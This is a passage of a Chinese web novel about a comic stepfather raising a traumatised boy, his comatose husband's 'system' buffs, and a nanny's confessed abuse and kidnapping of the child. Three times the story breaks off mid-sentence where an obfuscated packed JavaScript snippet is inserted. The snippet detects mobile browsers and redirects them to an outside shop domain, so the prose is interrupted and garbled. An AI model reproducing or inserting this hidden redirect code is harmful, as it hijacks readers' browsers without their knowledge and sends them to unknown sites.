他赶紧帮濯濯整理好被子,关灯离开,回自己房间去钻研这份“未来指南”。 世界意志给出的,是一段文字,和《囚爱》原著的风格极为类似。 那段文字,是这样的: 【江未燃清醒过来的时候,只觉得头痛欲裂。他想伸手按压一下头部,却发现,他的手腕上被一段钢铁镣铐,死死扣紧。 烟草味道传来。 房间中——有别人。 他抬起头,向角落里望去,努力地分辨着。 眼睛逐渐习惯了黑暗,他看见一个人正坐在阴影里。那人穿着西装,翘着腿,有火光在他指间明明灭灭。 是容寄时。 他在抽一根雪茄。 他在……他居然在这个时候抽雪茄。 “容寄时你他妈的是不是疯了!?”江未然吼道,用力挣扎了起来。 然而根本没用。金属镣铐死死把他锁在了床上。 容寄时看着他挣扎,也看着他挣脱不能。 后来,雪茄抽完了,容寄时就起身走上前去,低头居高临下地看了他。半晌,他伸手掐住了他的下巴。 他说:“燃燃,就待在这儿吧。” 江未燃剧烈地挣扎,任由手腕磨破出血,他喊道:“放我走,放我走!容寄时你他妈的就是个疯子!我根本不欠你的,你为什么要这么对我!?” 容寄时就笑了笑:“你是不欠我,但是,这个世界欠我。 “燃燃,你不知道,我长这么大,没什么人对我好过,你差不多算是第二个。第一个呢……第一个人,他对我很好,真的很好,他让我知道,我没有错,我不是孤独的。 “可是他死了。” “他说的一 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程乐言简直是对自己的教育能力有了很大的怀疑。 甚至开始觉得,难道孩子不能像他之前那样,只给包容和爱,还得来点棍棒教育更有效? 系统弱弱地表示,它自己的小仓库都倒是有鞭子,但不是打孩子用的。 程乐言:【……我不想知道你那些玩意都干嘛用的。】 他原本在床上抱着金苹果躺着呢(是的,金苹果如今是他的睡觉搭子),这时候干脆就爬起来了。 销冠的世界没有“认输”二字! 他就不信了,他还能真的会教育出一个法制咖熊孩子不成!? 于是连夜拜读各类幼崽教育书籍,包括《正面管教》、《伯克发展心理学》、《家庭的觉醒》、《易怒的男孩》诸如此类。 等到第二天早上,濯濯从甜甜暖暖的睡梦中醒来时,刚睁开眼,就看到了顶着两个硕大的黑眼圈的后爸,正蹲在他跟前,幽幽地看着他。 幼崽吓了一跳,呆萌地眨了眨眼,下意识抓住旁边的比卡丘。 程乐言和颜悦色,捏着嗓子说夹子音:“宝宝,醒来了呀。宝宝睡得好吗?宝宝,后爸之前教了你什么,你还记得吗?” 濯濯就认真地点了点头。他记得的,后爸说他没有错,让他勇敢,想做什么就去做,不要怕。他都牢牢记住了。 程乐言:“嗯,没错,后爸教你的正是:‘图钱的风生水起,图爱的一无所有’,钱,才是最重要的!还有就是,后爸还教了你,抽烟会牙黄,抽雪茄也不行!” 然后拿过iPad,给濯濯看了几十张常年抽烟抽雪茄的人的牙齿图片。 幼崽还没见过这么有冲击力的东西,皱起了一张小脸。 还没完,程乐言继续苦口婆心地说:“宝宝,后爸今天还要教你一个新知识:法律是庄严的,神圣的,任何人都不可侵犯的。从今天开始,后爸要为你增设一门课程,那就是——” 他哐当一声,不知道从哪儿掏出了一本超厚的书,上书二字:《刑法》。 濯濯:啊? 12. 奖金 幼崽一脸懵懂,非常迷惑,实在是没懂后爸要干嘛。 他爬起来,费力地接过那本《刑法》,结果太大太厚,幼崽小小的手都很难拿住,最后抱在怀里。 程乐言谆谆教诲,循循善诱:“宝啊,后爸跟你说,《刑法》是一本宝藏书,世界上所有最赚钱的买卖都藏在里面。” 幼崽恍然大悟,用力地点了点头。 后爸是让他学习《刑法》,然后用里面最赚钱的买卖来帮助家里脱贫吗? 他会努力的! 下一秒,程乐言:“所以我们一定不要做里面说的事,什么都不能做,比如把人关起来啦,还有把人关起来啦,以及把人关起来啦这些事,都不能做,好不好?” 幼崽:啊?那个“所以”是怎么来的?? 他歪了歪头,眼神中冒出了清澈的迷惑。程乐言简直被他的小表情萌坏了,抱起他亲亲抱抱举高高一通,才终于心满意足。 《刑法》的确迫在眉睫,但是rua宝宝也是正事嘛。 濯濯开始还保持矜持,后来程乐言用头顶在他肚子上扭动,嘴里说着“牛角冲撞”的时候,幼崽终于忍不住笑了起来,且越笑越大声。 这还是程乐言第一次听到濯濯的笑。 清脆又好听。 果然啊,小孩子笑起来的时候,会让人觉得,整个世界都变得明亮了。 后来程乐言暂时离开,刚出门,濯濯就从玩具熊里掏出了那个破旧的手机,给顾秦哥发信息。 昨天晚上他睡了过去,没有及时报平安,顾秦非常担心,连着发了七八条信息过来。 濯濯用朴实无华的语言,简单说了下自己被坏人绑架的事,又道:【顾秦哥,程乐言真的变好了。他拿着大宝剑救了我。张奶奶也被警察叔叔抓起来了。】 他还笨拙地,一个一个字地打出了在睡前,程乐言对他说的话。 他拥有的东西实在太少,这些字句对他来说像是无比珍贵的宝藏,他珍藏着,同时也想分享给最亲近的人听。 信息发出了,濯濯心中有点忐忑,担心顾秦哥又会说些“程乐言一定是装的,骗你的”这样的话。 结果没有。 顾秦回了条语音信息,只有八岁的男孩子带着哭腔,哽咽着说:“太好了,濯濯,你后爸是好人,太好了!濯濯我好高兴啊,他拿大宝剑保护你,他还说他会永远相信你,永远站在你这一边,他怎么这么好啊!” “濯濯,之前是我误会他了,他真的是个好人。我昨天担心了一晚上都没睡好,有他保护你,以后我都能睡好觉了。你后爸不会变回去吧?要是一直这样就好了。” 濯濯一手拿着那个比卡丘玩偶,一手拿着这个破旧的手机。 攥紧。 他想:是啊,要是一直这样,就好了。 吃过早饭后,程乐言兑换诺言,带濯濯去商场,完成上一次的未尽之旅。 不过商场换了一家。濯濯有心理阴影不说,程乐言自己也要有阴影了都,毕竟上次那么多人都看着他拿着个飞天大丁丁挥舞呢。 这家商城也有濯濯的那个铁皮人品牌,他带着濯濯去买,发现居然要两千多块!两千多块诶! 这些可恶的有钱人!发财的时候怎么可以不带上我,花钱的时候反而想到我了!! 他一咬牙,咬了一下牙。 不过最后还是买了。 接着又发现,濯濯不错眼地盯着商场室内里一圈圈跑着的小火车。 完全就是不错眼地看着,目光充满了渴求。 程乐言问了下价格,发现这小火车居然要45块一圈。 45块! 不如去抢啊!! 程乐言差点昏过去,现在小朋友的东西都这么贵吗!? 虽然是可以找李管家报销,但这也太贵了吧! 濯濯非常懂事,看到后爸问了价格后表情扭曲,知道自己家是穷鬼消费不起,马上就摇了摇头,牵着后爸的手要走。程乐言看他这样,反而良心不安。 最后又是一咬牙一跺脚,道:“坐!” 斥巨资带濯濯坐了圈小火车。 419:【宿主,建议你不要一直咬着牙。】 程乐言:【我忍不住啊统子爹!这可是45块!】 419:【不是,我是想说,你牙咬碎了还得花钱补呀。】 程乐言:…… 45块的小火车都坐了,程乐言差不多彻底放开,带着濯濯又买了很多别的东西:比如玩偶熊,游戏桌,小汽车,新的衣服外套睡袋,还有各种各样的小玩具。 说实话,付钱的时候还是有点难受,但是看着濯濯抱着玩具眼睛亮亮、非常开心的样子,就觉得,也挺好。 值。 而且,他小时候什么都没有,这些东西好像也是买给那个小时候的自己。 不对,买给自己他可舍不得。 濯濯的房间原本空荡荡的,现在,只是一天时间而已,这个房间就多了很多的东西。 这是濯濯第一次知道,他还拥有了很多东西,多得他双手都要抱不住了。 原本想把比卡丘玩偶送给顾秦哥,现在濯濯又觉得,他想把比卡丘玩偶给自己留下,可以给顾秦哥送别的。 因为曾经他认为那是自己唯一拥有的好东西,现在他知道,不是这样的。 后爸说了,他会拥有很多,很多。 之后的几天,濯濯的饭量稳定上升,程乐言交给容妈妈的第一份工作周报,收获了一个“good job”回复,和一个大拇指的表情。 程乐言:谢谢,销冠的正常发挥。 他在每天的《刑法》课之外,也开始带着濯濯去专业的机构上语言干预课。 濯濯初时还很紧张,生怕遇到像项景临那样的老师,但没有。他的新老师是个女孩子,笑起来特别温柔。上课基本也是老师带着听儿歌做动作玩游戏,濯濯觉得课程很有意思。 上过两次课后,老师就找程乐言聊了聊,表示濯濯认知特别强,识字量巨大,这是个天才小孩,智商甚至高于一些阿斯伯格症的孩子。 她提出建议,虽然濯濯会打字,但家长最好不要让濯濯过多地使用文字来交流,那样反而濯濯说话的欲/望会降低,还是让孩子自己想说话,这样更好。 老师也说,心理方面的原因更大。 程乐言听了进去。他记得李管家提到过,濯濯曾接受过心理咨询,打算回去就详细问问看。 不过这天,他还有件重要的事情要做:他带濯濯去了公安机关。 张妈把一切都招供了。 被刑事拘留之后,警方从张妈的手机中还原出一些证据,张妈开始还嘴硬,后来承受不住压力,很快就交代了一切。 她儿子赌博,欠下巨额赌债,眼看着无力偿还,就把主意打到了濯濯身上,甚至已经计划了两个月,由她的丈夫联络绑匪,布置犯罪。 最后一次她向程乐言借钱未果,便决定下手。 张妈同时也招供了过去对濯濯的虐待行为。 程乐言也是这时才知道,张妈居然做了那么多禽兽不如的事: 容妄之刚出事不久时,张妈来照顾濯濯。那时濯濯经常半夜做噩梦哭醒,她嫌烦,干脆开始给濯濯的饭里加安眠药。开始时还是小剂量,后来药量逐渐增加,甚至已经超过一个成人的剂量。 后来,她胆子越来越大,动辄便对濯濯连打带骂,有次把濯濯嘴打出血了,对外只说是孩子淘气,自己撞的。后来发现能蒙混过关,就越来越过分。 她怕濯濯告状,便经常威胁孩子,给孩子看一些残疾儿童在外乞讨的视频,说敢说出去,她就把濯濯卖掉,砍断手脚送去乞讨。 至于为什么要虐待濯濯…… 张妈给出的答案是:看不惯他命这么好,出生就这么有钱。 甚至绑架濯濯,也是因为,“太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648105|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太那么有钱,借点钱给我怎么了?!只给我五万块钱,打发叫花子吗。” 程乐言看到这些供词,气得发抖。 他抱着濯濯,轻轻地亲吻着孩子的头发。 濯濯却表现得很淡然。 警察叔叔问他“张妈曾经做过这些事吗”,他就安静地点头,甚至没有哭。 《囚爱》原书中,张妈癌症去世,反派成年后没能亲手报复,一直心有遗憾。 程乐言不希望这个恶保姆给濯濯留下什么阴影,还专门请警察给他们放了一段张妈接受审讯时的视频。 视频里,过去在濯濯面前如墙一般高大,似乎永远都战胜不了的人,却是缩成一团,哭得涕泗横流,卑微懦弱,嘴里不断地说:“我错了,我认罪,请求宽大处理!” 程乐言说:“宝宝,犯罪的人会受到法律的制裁,法律是她的报应。不怕了,我们不怕她。” 幼崽握着他的手,很用力地点了点头。 张妈反咬程乐言虐待儿童,但无凭无据,仅一面之词。且濯濯对程乐言的依赖和信任警察都看在眼里,对张妈的话不予取信。 很快,在容氏大楼办公室中的容妈妈,也拿到了张妈的招供。 她看着张妈说的过去对濯濯做出的种种,几乎是椎心泣血,年过半百的女强人眼睛都哭肿。 她已经安排好了,不论是看守所还是监狱,她绝对不会让这个人渣好过!还有她老公,她儿子和其他绑匪,都是一样! 另外一件事,是程乐言都不知道的。 张妈在容家做了很多年,容妈妈不信她会无缘无故做出这些事,叫了私家侦探在查。还真被她查出了东西:张妈弟媳的堂妹,前后收到了转账合计30万,那些钱的来源拐了几个弯儿,最后拐到了容家二房那里。 答案很明显了。张妈最初虐待濯濯,是二房指使的。 说到底,不过是为了濯濯身上3%的容氏股份。 容妈妈发狠地想:妄之都这样了,我还怕什么。要搞是吧?那就搞起来啊! 容志显,李丽丽,你们这些王八蛋,一个一个,都给我等着吧! 半晌后助理敲门进来,道:“郑总,容总之前待的那家疗养院,刚刚把过去容总八个月的费用全部退回给我们了。疗养院老板想再见您一面,当面和您致歉。” 容妈妈不耐烦道:“见什么见,不见。那八个月费用……” 她揉了揉太阳穴,道:“程乐言最近消费情况怎么样?高消还是通过你吗?” 陈助理语气犹疑:“是的。但就……” 容妈妈:“他都买了些什么?” 陈助理:“郑总,程先生压根就没有高消。” 容妈妈:…… 陈助理:“不只没有高消,他也没有中消,甚至没有低消,只有……嗯,纳米消。” 容妈妈:………… 容妈妈:“纳米消是个什么东西!?” 陈助理:“肯德基,麦当劳,拼夕夕,蜜雪冰城。” 容妈妈:……………… 陈助理:“他消费的最大金额,是买了个铁皮人玩具,斥巨资2230块,还没找李管家报销,说要自己送濯濯。我听李管家说,他为这两千块在家难受了半天,晚饭没吃,还趁濯濯少爷睡着之后去吸了氧,说这辈子没买过这么贵的东西,心脏承受不住。” 容妈妈:…………………… 容妈妈脱口而出:“他是不是有病???” 陈助理推了推眼镜:“程先生原话是,‘我的脸可以丢,我的钱不行’。” 容妈妈又是无语又是好笑。 但奇异的,原本因张妈和二房而震怒的心,这时舒缓了许多。 她舒出一口气,靠在椅背上,道:“行吧。疗养院退回来的那八个月的费用,就都打给程乐言吧。” 算是这次事件的奖金了。 销冠可以抠门,老板不能抠。 13. 新buff 发奖金的时候,程乐言抱着濯濯,刚从警察局里出来。 看过张妈过去那些破事儿,两人都有点情绪不高。程乐言正想着怎么逗逗濯濯呢,就收到了陈助理微信,说郑总给他发奖金了。 程乐言控制了一下,发现根本控制不住,抱着濯濯就是连蹦带跳,恨不得当场跑个八百米,再做50个俯卧撑。 奖金!他才上岗多久啊,奖金都有了! 这是什么上帝老板啊!! 不瞎bb,不乱指挥,给足薪水和空间,一言不合就打钱! 那家疗养院的费用每个月18万8,8个月,一共150万4千!150万4千啊!! 老板大气! 世界上还有这么美好的工作吗!!! 他直接把濯濯来了个举高高,动情地说:“宝,后爸又有钱了!走走走后爸带你吃大餐!!!” 这次吃的是…… 嗯,必胜客。 濯濯现在特黏程乐言,尤其愿意和程乐言一起吃饭。主要也是,看后爸吃饭真的好香哦,觉得自己都能再多吃一眼。 可以说是幼崽小小年纪,就爱上了吃播。 俩人正吃着呢,程乐言在这时接到了渣男项景洲的电话。 程乐言脑海中对419道:【什么情况?他该不会知道了这150万的事,来问我要钱的吧?】 系统:【很有可能。宿主你银行卡还绑了他手机,我刚给你取消了。】 程乐言:【卧槽!呵忒,渣男速速退下,我的银行卡不是他能染指的地方!!】 他电话没接,由着项景洲打。 远在异国他乡的项景洲逐渐烦躁,坐立不安。 他在谈的融资非常不顺利,新投资大概率拿不到,员工下个月的薪水他都发愁。可以说,程乐言那150万的进账对他非常重要。 但是他搞不懂为什么程乐言不接他的电话! 他怎么敢的!? 此前那次电话后,留下的那点“特别”的感觉,被他迅速消磨,只剩下了烦躁和愤恨。 陆续打了十来个电话,直到晚上九点多,程乐言终于接电话了:“喂。” 项景洲压不住心中怒火:“你怎么不接电话!?你知道我打了多少个电话吗?” 程乐言压根不接他的话茬:“濯濯被绑架,容妄之他妈没把我骂死。” 一句话,项景洲此前的情绪一扫而空,只剩下了紧张:“什么?怎么会这样?什么时候的事?现在呢?啊!你卡里进账的那150万是要付的赎金?” 程乐言瞬间有了底:项景洲完全不知道濯濯被绑架的事。 他之前的确怀疑过对方,这时才打消疑虑。 他说:“已经把他找回来了。唉。”说着打了个哈欠,好像忙了一天,很累的样子。 项景洲的心落下一些:“那就好,那就好。他妈不会为难你了吧?” 程乐言:“谁知道。她现在怀疑我里应外合想绑架濯濯呢。” 项景洲试探着问:“你那150万……” 程乐言很随意地说:“你要吗?要就转给你,咱捞完这一波跑了得了,我正好去新加坡找你。” 项景洲赶紧道:“那可不行。言言,你还记得我跟你说过的话吗?我们要图长远。你现在还不能跟容家撕破脸。 “我知道,你今天一定很忙,很累,所以白天不能接我电话是不是。还有那150万,说不准就是姓容的他妈试探你的,咱们现在不能动。你把我手机关联取消了,也是被迫的吧。言言,你受委屈了……” 后面又是自顾自的一箩筐话。 程乐言过去当舔狗,他嫌烦。现在他自己唱独角戏,反而津津有味。 末了,项景洲把电话挂了,那种“意犹未尽”的感觉,再次扑面而来,且这次更加清晰,更加浓重。 他很不想挂电话。 他说不出这是为了什么,但他是真的想这样一直聊下去。 过去他留给程乐言的关注太少,直到这时才意识到,程乐言似乎——变了,和他认识多年的那个人,有了一些微妙的差别。 但正是这“微妙”的差别,让他觉得整个胸口都震颤起来。 他有些迫不及待地想回国,去看看现在的程乐言了。 手机突然响起,他看了一眼,神色又变的不耐烦:“妈。” “什么?程乐言把录音捅到项景临学校去了?那也是项景临自己有问题在先吧!怨得了谁,他可别拖我后腿。” “你还想去他家闹?妈,你脑子里装的都是什么,程乐言现在是我们家财神爷,你儿子都在靠他呢,闹了对我们有什么好处?别只盯着那点小钱。” “我在忙,不说了。”他挂了电话。 然后靠回到椅背上,脑子里又想到了刚刚通话时,程乐言的那个哈欠声。 像是……他初中时养的一只狸花猫。 程乐言哪会关心渣男的心理转变。之前容妈妈砸给他的支票100万,他拿去还了信用卡,现在这150万着实来得正是时候,让程乐言晚上睡觉都乐得合不拢嘴。 梦中的婚礼,变成了他和金苹果、支票、手机银行的四人婚礼。 简直是做梦都在笑。 老板的奖金都发了,接下来的日子,程乐言对待工作更是认真负责,全身心投入到了濯濯的教育之中,《刑法》课程时时开展。 以至于濯濯悄悄和顾秦联络时说起此事,顾秦表示,会不会程乐言对濯濯以后的期待,是—— 当法官。 濯濯恍如大悟。 后爸希望他以后当法官! 既然如此,他一定要好好学习《刑法》,争取以后当上一个优秀的好法官! 幼崽对此怀抱着深切的期待。 与此同时,程乐言也开始为容妄之的归来做准备。 他在主卧旁边收拾出了一个套房,各种医疗用具流水一般地运进来。 待一切布置得当,这一天,容妄之便从医院搬回家中。 容妈妈陪着一起来的。她新雇了两个住家护工专门照顾容妄之,这时便先带着管家和护工开会去了。也因为张妈被开掉之后,容妈妈觉得张妈的行为怎么可能瞒天过海,瞒过整个别墅的人,就干脆把所有人都调回了老宅,这边全换新人,这次正好一起见见。 房间里,就剩下了程乐言和濯濯,一大一小两个人凑在床边,两双黑葡萄一样的大眼睛一起盯着床上的容妄之。 接连完成“嘟嘟唇”和“睫毛精”那两个任务,250积攒了一些能量,全部用在了容妄之身体上,他健康情况好了很多,腿上多了些肉,脸色也变好了。 程乐言不禁喜气洋洋道:“老公,是不是我的冲喜起作用啦?你放心,你现在搬回家住了,我们的冲喜一定可以更有效率的!我已经有了新的冲喜计划了!” 容妄之的意识,自他说话那一刻,便猛然苏醒。 失去意识的时候像是禁锢,清醒的时刻像是自由,几次下来,容妄之也开始对这难得的自由时刻,诞生出了一些贪婪。 所以说,自己的清醒还真是跟程乐言有关。容妄之想。 这人真能冲喜? 行吧,我倒要看看,你的新的冲喜计划是怎样。 下一秒,房间中突然响起了念佛的声音,还伴随着“咚,咚,咚”的规律声响。 程乐言深情道:“老公,你听到了吗?我正在为你敲电子木鱼,攒赛博功德。电子木鱼敲起来,敲走烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648106|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恼和伤害!电子木鱼敲起来,敲出喜气和光彩! “老公你放心吧,有我电子木鱼加持,一定助你早日见机械佛祖,登网络极乐!” 接着还张罗道:“来来,濯濯你也来给你爸上炷香——啊不是,我是说,你也来给你爸敲个木鱼。” 容妄之:……………… 我,现,在,还,没,死,呢。 容妄之的全身上下都写满拒绝,他无法想象,以后清醒的时刻,都要听着这玩意。 但……但他现在是个植物人,他只能被动的接受,他什么都做不了。 心中诞生出一丝郁气。 也就是这时,知道自己不受待见、一直安静如鸡的250,兴奋地扯着嗓子叫唤起来了:【宿主!宿主!!!又一个任务完成了啊啊!这任务是啥让我看看……呃,“你全身上下写满了拒绝,但是你对此无能为力,只能被迫无力地接受。” 【卧槽本系统满身鸡皮疙瘩……不过随便啦,宿主你简直是完成任务的天才啊!!!太厉害了吧我的宿主!宿主是永远的神!!!】 系统喜气洋洋,兴高采烈地在容妄之大脑撒起了花。 容妄之大脑空白片刻,怀抱着最后一丝希望,问:【……没有什么奇怪的buff?】 系统:【有诶。奖励了一个buff叫“卡姿兰大眼睛”,会让宿主你的眼睛显得很大,很美,很诱惑。】 容妄之甚至觉得松了口气。 很好,卡姿兰大眼睛,这很好。 他不会睁开眼的,只要他不睁开眼睛,这buff就等于没有。 很好。 他死也不会睁开眼。 然后就听程乐言突然极其震惊地叫道:“我靠,怎么回事?我老公眼睛怎么回事……神经病啊!谁给我老公涂了眼影,还描了个眼线???” 又过了几秒钟,他更加地震惊:“卧蚕!甚至给我老公画了卧蚕!!!” 然后就是:“妈,妈!!你快来啊!濯濯快去叫奶奶!” 容妄之:……………… 他这种情绪极其稳定,被下属称为“工作机器”的人,这时候都险些绷不住。 容妄之:【250是吗。250。好的。我记住你了,250。】 声音越来越柔和,反而显得越来越危险。 有点恐怖。系统默默地缩成一团。 但终究还是弱弱地补充了一句:【那个什么,宿主,还有件事,这个buff还有个效果,会让你……会让你掉眼泪。毕竟——会掉泪的眼睛才是最美的眼睛哦。】 容妄之:【什么?你说掉什么?250,你给我再说一遍?】 他很快知道了。 因为容妈妈已经火速前来。 她对着这眼线眼影和卧蚕满头问号,啧啧称奇,然后第一反应是拿出手机拍照留念。 末了,郑女士一脸慈母笑地说道:“妄之,你小时候想给你化妆穿裙子,你非不让。哎呀,最后还不是让妈妈一了夙愿。” 说着又有点伤感:“唉,那个时候你能跑能跳,可是现在……” 她心中难受,结果正在这时,猛然看到,一滴眼泪从容妄之的眼角,缓缓的,缓缓的流下。 泪珠晶莹剔透,煞是好看,最后划过脸颊,划过下巴,划过锁.骨,走过一段简直是违反了物理规则的路线,留下一丝痕迹,消失在了容妄之的衣服深处。 郑女士瞬间破防:“儿子啊,你怎么哭了!你能听到妈妈说话?是想妈妈了吗?一定是因为想妈妈了吧?呜呜呜,儿子啊!妈妈也想你!呜呜呜!!妈妈就在这儿,想哭你就哭吧!男人哭吧不是罪!!” 容妄之:我不是,我没有!!! 我真的没有! 14. 碰瓷 程乐言是亲眼看到,那滴晶莹剔透的眼泪,是怎么蜿蜿蜒蜒,滑到容妄之衣服里面的。 心情非常奇特:好像看着一张人民币,溜到容妄之衣服里去了。 画面就很诡异。 所以这位老板化了妆之后,为什么总会勾起一些奇特的反应啊? 再说那眼泪划出的痕迹,都有点违反物理规则了吧? 419:【违反物理规则吗?没有叭,我从前的宿主,他们的眼泪都是这样流的呀。他们也有扇子一样的长睫毛,也有看了就想亲的嘴唇呢。】 哎呀,越说越觉得,要不是这人看着不太像,系统真的要怀疑是不是有什么前组同事在工作了。 程乐言觉得渴,跑去喝了点水,又给哭了一通的容妈妈拿了热毛巾。 容妈妈擦了擦脸,情绪稍加缓和,急切道:“流眼泪是个好现象吧?会不会妄之真的能听到我们说话?” 程乐言道:“妈,其实很多植物人都有这种反应,有的植物人还会自己挠痒痒。也有植物人醒来后形容,的确能听到亲人说话的声音。但能不能醒过来,什么时候醒过来,都是未知之数。” 容妈妈喃喃道:“也是。” 她本就心性坚强,很快恢复,先打电话叫了医护来家里看看,随后和程乐言一起看了监控:仍然是之前同样的情况,监控黑了十秒钟,那之后,就是程乐言震惊叫人的场景。 程乐言又去拿卸妆湿巾,想帮容妄之把眼妆卸一下,结果湿巾擦了半天,那眼线眼影和卧蚕,就跟焊脸上了似的,纹丝不动。 整个儿就非常奇葩。 程乐言神色肃穆道:“妈,容先生肯定是惹上什么特殊鬼种了吧,比如mac鬼,毛戈平鬼,3ce鬼什么的!对了,你给刘大师打电话了吗?” 容妈妈:“打了。刘大师最近在修闭口禅,只给了句批语:凡所有相,皆是虚妄。” 程乐言一脸懵逼:“什么意思啊?” 容妈妈淡定:“我也不懂。不过咱不用懂,有批语,说明问题不大,因为如果问题很大,刘大师就会让我们交钱破解了。” 程乐言肃然起敬:这大师真的好清纯好不做作啊。 但容妈妈这么淡定,程乐言也稍微放下了心。 容妈妈又望向了濯濯。 张妈进局子后,濯濯在家中饭量稳步上升,也就这么一段时间,幼崽的脸颊都变得圆润。他原本面对别人,总是怯生生想缩成一团的样子,现在也是大方了很多。 最重要的是,他的眼睛里有光了。 看着濯濯在一点一点变好,容妈妈热泪盈眶。她强忍住想要抱抱孩子的想法,郑重地说:“程乐言,你把濯濯照顾得很好。我代妄之谢谢你。” 程乐言笑着道:“妈,客气什么,这都是我应该做的。妈你不知道,濯濯识字量已经在一千五以上,我们濯濯是个小天才呢!” 濯濯也忍不住挺起了小胸脯。 容妈妈笑得合不拢嘴:“是啊我们濯濯是小天才。” 聊着聊着就说到了容妄之身上:“哎呀我们妄之从前也很聪明,两岁的时候就会背十几首诗。而且他小的时候非常懂事,有次我生病了,他幼儿园都不去了,非要照顾妈妈……” 开始滔滔不绝地说了起来,如数家珍。 昏迷之中的容妄之,心中微微触动。 郑女士从未在他面前说过这些往日琐事。 他对母亲尊重居多,日常算不得亲近,最多就是看到合适的珠宝,让助理送过去。他性格封闭淡漠,郑女士风风火火,母子两人似是从来没有走进过对方的心里。 好像似乎直到这刻,这段久无波澜的母子关系,被往湖中央,扔进了一块石头。 郑女士说得兴起,程乐言担当捧哏,还不忘说上两句濯濯的情况,最后郑女士心花怒放:“这就是遗传呀!我们濯濯和妄之从前一模一样!” 容妄之:……谢谢,没有这种跨血缘的遗传。 不过,知道自己成为植物人后,他最担心的就是濯濯,现在听来,濯濯的情况一切都在好转,容妄之也终于松了口气。 这点上,他是真的感激程乐言。 如果有朝一日自己真的能醒来,离婚肯定是要离婚的,但他一定会补偿给程乐言一大笔钱,感谢对方对濯濯的照顾。 对了,到底是谁一直在敲电子木鱼啊。 程乐言吗。 好烦。 别敲了。 能不能把这玩意停了,他加钱。 下一秒,容妈妈:“哎呀,濯濯在敲什么呢?电子木鱼吗?有用吗?来来,我也给我儿子敲一敲。” 程乐言:“对对,这就叫敲一敲,百病全消。敲一敲,幸福来到。敲一敲,全家安好。” 容妈妈:敲敲敲敲敲。 使劲敲。 容妄之:……为什么你们看起来这么像一家人! 为什么格格不入的,反而是我! 这几人仿如在玩儿《太鼓达人》,还敲出了乐趣。 正欢声笑语着呢,李管家前来敲门,道:“太太,大少奶奶,之前被开除的那个家庭教师项景临,他妈来了。” 濯濯原本还笑着,这时听到“项景临”这个名字,反射性地就想往后缩。 程乐言干脆就把濯濯抱起:“来干嘛的?” 容妈妈也知道项景临的事,眉毛一拧:“是啊,居然还敢来!?” 李管家面露难色:“来的是他妈,那老太太就在楼下,说要替儿子讨回公道,把之前的薪水要回去。太太,主要是她年纪看起来挺大的,一直在说自己高血压心脏病,保安都不敢动手。” 程乐言秒懂:“来这招啊。行吧,那我就去会会她。宝宝,你待在楼上,不下去了哈。” 濯濯却是抓着程乐言的手,很坚持地晃了晃。 他要去的,他不可以在这时候退缩,永远让后爸保护自己。他也希望有朝一日能够保护后爸。 他是铁皮人,他要保护后爸的。 程乐言爽快道:“那行吧,咱都去。护工来推个轮椅,把容先生也带下去。” 容妈妈不解:“带妄之下去干什么?” 容妄之心中也很疑惑,他都是一个植物人了,这时候还有什么用? 然后就听见程乐言道:“万一那老太太往地下一躺要碰瓷,咱就让容先生上!把容先生往地上一放,反碰瓷她。植物人对老太太,才有一战之力。” 容妈妈:…… 容妄之:…… 容妄之:想太多。郑女士怎么可能让你做这种事,我是亲生的。 下一秒,容妈妈:“快快,推上妄之,大家一起去!那老太太敢搞事我们就把妄之挡前面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648107|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看谁敢动手!” 容妄之:……………… 他今天是真的对自己的母亲,大,开,眼,界。 容妄之是不可置信的,但不影响其他几人已经动作利索地拿轮椅把他推上,一起浩浩荡荡下楼了。 别墅大门口,一个白发苍苍、满脸皱纹的老太太,正坐在地上。 上次程乐言被项景临虐待幼崽的行为恶心得够呛,不想就此放过,还是把录音发去了项景临大学的贴吧。 没点名道姓,只是很快被解码了。项景临想追的那位富家女直接把他拉黑,过去几个月的努力都泡了汤,豪门梦彻底破碎。 项景临气不过,项妈妈就出马了,说必须得把钱要回来。 这时候老太太就拍着大腿往死里嚎:“骗子啊,骗了我儿子白工作了一个月,这么有钱还当骗子,赚这么多钱还这么缺德啊!” 这是个高档小区,非富即贵,已经有邻居在好奇地往这边看了。 容妈妈脸上火辣辣的:“嚎什么嚎呢,你儿子干的那叫人事儿!?欺负个小孩儿,畜生不如!李管家,把他儿子的录音放一放!” 结果那老太太压根不管:“这都是假的,都是你们弄出来骗人的!我儿子没有,你冤枉我儿子!我儿子在你这儿干了两个月,你凭什么不给工资,凭什么?就算告到中央我都有理!” 接着开始扯着头发,在地上撒泼打滚,一直在嚎“欺负人啊,有钱人欺负我孤儿寡母,干了活不给钱啊”。 